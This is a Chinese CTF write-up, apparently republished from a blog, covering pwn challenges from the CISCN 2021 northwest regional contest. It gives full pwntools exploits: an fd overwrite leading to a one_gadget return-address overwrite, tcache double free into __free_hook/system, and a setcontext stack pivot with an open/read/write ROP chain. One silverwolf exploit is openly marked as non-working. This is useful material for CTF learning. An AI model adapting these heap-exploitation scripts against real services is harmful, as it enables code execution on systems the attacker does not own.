ciscn2021西北部分pwn

Posted mishixiaodai

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ciscn2021西北部分pwn相关的知识,希望对你有一定的参考价值。

打了一天的国赛,发现自己还是太菜了

pwny

读取随机数到bss段上作为文件描述符范围在0~0xff之间,又在自定义的函数sub_ba0中发现可以根据偏移进行任意写的操作,sub_b20可以根据偏移进行任意读操作,因此就可以覆盖fd的值,爆破fd使其等于0,我们就可以进行任意读写

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

我们可以通过泄露出bss段上的stdout指针指向的_IO_2_1_stdout_的地址来泄露libc的基地址,在通过泄露data段上的off_202008来泄露bss段上的地址,再通过libc上的environ来泄露栈地址。
在这里插入图片描述
因此就可以通过偏移将onegadget直接写入栈上的返回地址中,获得shell。

用爆破调试有点麻烦,发现可以修改二进制程序,将fd直接改成0再进行调试。

exp如下:
from pwn import *
io=process('./pwny')
#io=remote('124.70.20.79',22270)
elf=ELF('./pwny')
#libc=ELF('./libc-2.27.so')
libc=elf.libc
context(log_level='debug')
context.terminal=['tmux','splitw','-h']

def read():
    io.recvuntil('Your choice: ')
    io.send('1 ')
    io.recvuntil('Index: ')

def write(a1):
    io.recvuntil('Your choice: ')
    io.send('2 ')
    io.recvuntil('Index: ')
    #gdb.attach(io)
    io.send(str(a1)+' ')

def exp():
    write(256)
    gdb.attach(io)
    read()
    #io.send('-64\\n')
    io.send('\\xF8\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xff')
    #gdb.attach(io)
    io.recvuntil('Result: ')
    stdout=int(io.recv(12),16)
    print(hex(stdout))
    libcbase = stdout-libc.symbols['_IO_2_1_stdout_']
    print(hex(libcbase))
    system=libcbase+libc.symbols['system']
    stderr=libcbase+libc.symbols['_IO_2_1_stderr_']
    binsh=libcbase+libc.search('/bin/sh').next()
    environ=libcbase+libc.symbols['_environ']
    onegadget=[0x4f3d5,0x4f432,0x10a41c]
    #onegadget=[0x4f365,0x4f3c2,0x10a45c]
    #offset=(environ-(bss_addr+0x60))//8
    #gdb.attach(io)
    read()
    io.send('\\xf5\\xff\\xff\\xff\\xff\\xff\\xff\\xff')
    io.recvuntil('Result: ')
    bss_addr=int(io.recv(12),16)-8
    print(hex(bss_addr))

    read()
    offset=(environ-(bss_addr+0x60))//8
    io.send(p64(offset))
    io.recvuntil('Result: ')
    stack=int(io.recv(12),16)
    print(hex(stack))


    ret_addr=stack-0x120
    offset=((ret_addr-(bss_addr+0x60))//8)

    write(offset)
    payload=p64(libcbase+onegadget[2])
    io.send(payload)
    io.interactive()
    #io.sendline()

#exp()
i=0
while(i!=100):
    try:
        #io=remote('124.70.20.79',22270)
        io=process('./pwny')
        i+=1
        exp()
    except:
        i+=1
        io.close()

lonelywolf

常规的菜单题
发现漏洞在dele中对free后的指针没有置0
在这里插入图片描述

通过doublefree泄露heap_base控制fd指针来控制tcache_struct,将0x250对应的counts改为\\xff在freetcache_struct来泄露libcbase的基地址,最后再通过doublefree修改fd指针为__free_hook-0x8(__free_hook-0x10前8个字节不知道为啥修改不了),在__free_hook-0x8出填上/bin/sh\\x00,在__free_hook填上system地址,dele(0),拿到shell。但在打远程的时候,发现报出了doublefree漏洞,将第一次free后的tcache的fd和bk指针置0,在free就行了。

exp如下:

from pwn import *
#io = process('./lonelywolf')
io=remote('124.70.20.79',22175)
#elf=ELF('./lonelywolf')
#libc=elf.libc
libc=ELF('./libc-2.271.so')
#context(log_level='debug')

def add(a1,a2):
    io.sendafter('Your choice: ','1 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendafter('Size: ',str(a2)+' ')

def edit(a1,a2):
    io.sendafter('Your choice: ','2 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendlineafter('Content: ',a2)

def show(a1):
    io.sendafter('Your choice: ','3 ')
    io.sendafter('Index: ',str(a1)+' ')

def dele(a1):
    io.sendafter('Your choice: ','4 ')
    io.sendafter('Index: ',str(a1)+' ')

def exp():
    add(0,96)#0 0x60
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    show(0)
    io.recvuntil('Content: ')
    #print(io.recv(6))
    heapbase=u64(io.recv(6).ljust(8,'\\x00'))-0x260
    #heapbase=int(io.recv(14),16)
    print(hex(heapbase))
    edit(0,p64(heapbase+0x10))
    add(0,96)
    #pause()
    add(0,96)#tcache
    edit(0,'\\x00'*0x20+'\\xff'*0x8)
    dele(0)
    #pause()
    show(0)
    io.recvuntil('Content: ')
    malloc_hook=u64(io.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))-96-16
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    print(hex(libcbase))
    free_hook=libcbase+libc.symbols['__free_hook']
    system=libcbase+libc.symbols['system']
    add(0,120)#0x30
    edit(0,'\\x00'*0x40)
    #pause()
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(free_hook-0x8)+p64(0))
    add(0,120)
    add(0,120)
    edit(0,'/bin/sh\\x00'+p64(system))
    pause()
    dele(0)
    io.interactive()


exp()

silverwolf

是个沙箱堆题,libc2.27,第一次做,发现程序逻辑和上个题一样,知识不能用system,但可以使用open、read、write。思路就是利用libc中的environ将chunk申请到栈上,再覆盖返回地址构造rop(这种思路实现起来有点困难,因为chunk可写的大小最大时0x78),但在调试时发现一进入open函数就报错,我猜测是因为libc中的open函数是open64,所以不能绕过沙箱,先放上我的错误exp(希望哪位大佬可以帮我调试下,帮帮我这个小菜鸡)(问题已解决,感谢 KANGEL12 师傅的提醒。),后续补上正确的exp。
在这里插入图片描述

from pwn import *
io = process('./silverwolf')
#io=remote('124.70.20.79',22220)
elf=ELF('./silverwolf')
libc=elf.libc
#libc=ELF('./libc-2.27.so')

context.terminal=['tmux','splitw','-h']
context(log_level='debug')
#pop_rdi=0x215bf
#pop_rsi=0x23ee
#pop_rdx=0x1b96
#pop_rdx_rsi=0x130569

pop_rax=0x43a78
pop_rdx_rsi=0x130889
pop_rdi=0x2155f
pop_rsi=0x23e8a
pop_rdx=0x1b96

def add(a1,a2):
    io.sendafter('Your choice: ','1 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendafter('Size: ',str(a2)+' ')

def edit(a1,a2):
    io.sendafter('Your choice: ','2 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendlineafter('Content: ',a2)

def show(a1):
    io.sendafter('Your choice: ','3 ')
    io.sendafter('Index: ',str(a1)+' ')

def dele(a1):
    io.sendafter('Your choice: ','4 ')
    io.sendafter('Index: ',str(a1)+' ')

def exp():
    add(0,80)#0 0x50
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    show(0)
    io.recvuntil('Content: ')
    #print(io.recv(6))
    heapbase=u64(io.recv(6).ljust(8,'\\x00'))-0x1880
    print(hex(heapbase))
    edit(0,p64(heapbase+0x10))
    add(0,80)
    #pause()
    add(0,88)#tcache
    edit(0,'\\x00'*6+'\\x01'+'\\x00'*(0x20-7)+'\\xff'*0x8+'\\x00'*0x2f)
    add(0,120)
    dele(0)
    edit(0,p64(heapbase+0x40))
    add(0,120)
    add(0,120)#tcache+0x40
    edit(0,'\\x00'*0x70)

    add(0,96)
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(heapbase+0x10))
    add(0,96)
    add(0,96)#tcache
    #pause()

    dele(0)
    #pause()
    show(0)
    io.recvuntil('Content: ')
    malloc_hook=u64(io.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))-96-16
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    print(hex(libcbase))
    free_hook=libcbase+libc.symbols['__free_hook']
    environ=libcbase+libc.symbols['environ']
    opens=libcbase+libc.symbols['open']
    reads=libcbase+libc.symbols['read']

    add(0,120)#0x78
    #pause()
    edit(0,'\\x00'*0x68+p64(environ))
    add(0,96)#environ
    show(0)
    io.recvuntil('Content: ')
	stack = u64(io.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))
    #print(hex(stack))
    #gdb.attach(io)
    #pause()
    add_stack=stack-0x120
    print(hex(add_stack))
    add(0,120)#0x78
    dele(0)
    #pause()
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(add_stack))
    add(0,120)
    #pause()
    add(0,120)#stack
    show(0)
    #pause()
    io.recvuntil('Content: ')
    main=u64(io.recv(6).ljust(8,'\\x00'))+0x10
    print(hex(main))
   
    #open('./flag',0)
  
    orw=p64(pop_rdi+libcbase)+p64(add_stack+0x60)+p64(pop_rsi+libcbase)+p64(0)+p64(opens)
    #read(fd,buf,0x30)
    orw+=p64(pop_rdi+libcbase)+p64(3)+p64(pop_rdx_rsi+libcbase)+p64(0x30)+p64(heapbase+0x10)+p64(reads)+p64(main)+'./flag\\x00\\x00'
    #write(fd,buf,0x30)
    #orw+=p64(pop_rdi+libcbase)+p64(1)+p64(pop_rsi+libcbase)+p64(heapbase+0x10)+p64(pop_rdx+libcbase)+p64(0x30)+'./flag\\x00\\x00'
    print(len(orw))
    gdb.attach(io)
    edit(0,orw)

    add(0,80)
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(heapbase+0x10))
    add(0,80)
    add(0,80)
    #gdb.attach(io)
    #io.recvuntil('\\n',timeout=10000000)
    show(0)

exp()
                           

看了南邮师傅们的博客复现了一下,思路主要是,将rop写在堆上,用setcontext函数设置rsp的值也就是栈顶的地址,将栈转移到堆上,执行rop。

正确exp:

f-rom pwn import*
#context.terminal=['tmux','splitw','-h']

def menu(ch):
    p.sendlineafter('choice:',str(ch))
def add(size):
    menu(1)
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Size:',str(size))
def edit(content):
    menu(2)
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Content:',content)
def show():
    menu(3)
    p.sendlineafter('Index:',str(0))
def free():
    menu(4)
    p.sendlineafter('Index:',str(0))
#p = process('./silverwolf')
#elf = ELF('./silverwolf')
#libc = elf.libc
libc = ELF('./libc-2.27.so')

for i in range(7):
    add(0x78)
    edit('./flag\\x00')
#pause()
for i in range(2):
    edit('\\x00'*0x10)
    free()
show()
p.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\\x00'))  - 0x5B0 - 0x940 - 0x70
log.info('HEAP:\\t' + hex(heap_base))
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit('\\x00'*0x23 + '\\x07')
#pause()
free()
show()
libc_base = u64(p.recvuntil('\\x7F')[-6:].ljust(8,'\\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\\t' + hex(libc_base))

edit('\\x03'*0x40 + p64(libc_base + libc.sym['__free_hook']) + '\\x00'*8*1 + p64(heap_base + 0x4000) + p64(heap_base + 0x3000 + 0x60) + p64(heap_base + 0x1000) + p64(heap_base + 0x10A0) + p64(heap_base + 0x3000))
#pause()
add(0x18)

                                                                                        ########################
pop_rdi_ret = libc_base + 0x00000000000215BF
pop_rdx_ret = libc_base + 0x0000000000001B96
pop_rax_ret = libc_base + 0x0000000000043AE8
pop_rsi_ret = libc_base + 0x0000000000023EEA
ret = libc_base + 0x00000000000008AA
#pop_rax_ret=0x43a78 + libc_base
#pop_rdx_rsi=0x130889 + libc_base
#pop_rdi_ret=0x2155f + libc_base
#pop_rsi_ret=0x23e8a + libc_base
#pop_rdx_ret=0x1b96 + libc_base

Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
syscall = Read + 15
FLAG  = heap_base + 0x4000
gadget = libc_base + libc.sym['setcontext'] + 53

orw  = p64(pop_rdi_ret) + p64(FLAG)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base  + 0x3000)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)

                                                                                        #############################
#gdb.attach(p)
edit(p64(gadget))
add(0x38)
edit('./flag\\x00')
add(0x78)
edit(orw[:0x60])
add(0x48)
edit(orw[0x60:])
add(0x68)
edit(p64(heap_base + 0x3000) + p64(pop_rdi_ret + 1))
add(0x58)
gdb.attach(p)
free()
p.interactive()

以上是关于ciscn2021西北部分pwn的主要内容,如果未能解决你的问题,请参考以下文章

ciscn2021西北部分pwn

ciscn2021西北部分pwn

ciscn2021 西北分区赛部分pwn

ciscn2021 西北分区赛部分pwn

ciscn2021 西北分区赛部分pwn

CISCN2021 西北赛区分区赛 Web xb_web_flask_trick